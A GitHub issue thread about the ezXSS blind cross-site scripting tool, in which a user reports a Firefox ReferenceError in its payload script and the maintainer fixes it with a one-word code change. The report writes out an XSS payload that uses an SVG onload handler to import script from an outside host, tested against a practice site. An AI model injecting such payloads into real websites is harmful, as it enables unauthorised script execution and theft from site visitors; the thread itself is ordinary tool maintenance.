ssl/ezXSS

Uncaught (in promise) ReferenceError: assignment to undeclared variable ez_rD

BoBeR182 opened this issue · 2 comments

Payload should fire.

Tested in Firefox

"><svg/onload=import('//domain.tld')>

Error is on line 12 of payload script.

hxxps[://]xss-game.appspot[.]com/level1/frame?query=%22%3E%3Csvg/onload=import(%27//a.ez.pe%27)%3E
Test URL using ez.pe service (not controlled by me)

ssl commented

I think just adding var prefix should fix this (in b97e2b0). I have no idea why this was not there, it used to be there in 3.x and I removed it one time while compressing. Normal loading worked fine no never noted. Thanks!

Think this fixes it?

Fixed by b97e2b0, thanks!